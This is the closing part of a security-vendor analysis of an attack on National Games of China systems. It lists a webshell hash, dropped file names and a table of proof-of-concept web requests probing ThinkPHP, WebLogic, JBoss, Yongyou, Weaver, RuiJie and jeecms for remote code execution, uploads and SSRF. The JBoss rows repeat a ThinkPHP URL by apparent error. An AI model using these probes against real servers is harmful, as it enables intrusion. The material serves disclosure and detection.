Rebeyond Behinder webshell
d033756a57d8a2758de40895849e2146d571b3b44f3089eb68c31483784586cd
20210904-112719-261644-c9c5eb.jpg
UPX Compressed DNS Proxy for Linux
Table 1
Proof of concept Payload
Yongyou_upload1 Request GET /aim/equipmap/accept.jsp
ThinkPHP_RCE4 Request POST /index.php?s=/Index/\\think\\app/invokefunction
Data function=call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE5 Request POST /index.php?s=/Index/\\think\\app/invokefunction
Data function=call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE6 Request POST /public/?s=captcha/MTIzNDU2
Data _method=__construct&filter[]=print_r&method=GET&s=1
yongyou_rce1 Request GET /service/monitorservlet
RuiJie_Upload1 Request GET /ddi/server/fileupload.php
Weaver_Upload1 Request GET /page/exportImport/uploadOperation.jsp
phpstudy backdoor Request GET /
Headers User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36
Accept-Encoding: gzip,deflate
ThinkPHP_RCE2 Request GET /index.php?s=index/think\\request/input?data=123456&filter=base64_encode
yongyou_readFile1 Request GET /NCFindWeb?service=&filename=
weblogic_CVE_2019_2618
Request GET /bea_wls_deployment_internal/DeploymentService
Outlook ews (Interface blasting) Request GET /ews
ThinkPHP_RCE1 Request GET /index.php?s=index/\\think\\app/invokefunction&function=
call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE3 Request GET /index.php?s=index/\\think\\Container/invokefunction&function=
call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
CVE_2020_14882 Request GET /console/
Jboss JMXInvokerServlet (Deserialization) Request GET /index.php?s=index/\\think\\Container/invokefunction&function=
call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
Jboss (Unauthorized access to the console) Request GET /jmx-console/index.jsp
Jboss JMXInvokerServlet (Deserialization) Request GET /index.php?s=index/\\think\\Container/invokefunction&function=
call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
jeecms SSRF to Upload Request GET /ueditor/getRemoteImage.jspx?upfile=http://127.0.0.1:80/1.png
RuiJie_RCE1 Request GET /guest_auth/guestIsUp.php
Table 2

Files

  • miss1.php
  • conf.lua
  • admin2.php

IoC repository

Files and IoCs are in our IoC repository

The post Analysis of Attack Against National Games of China Systems appeared first on Avast Threat Labs.

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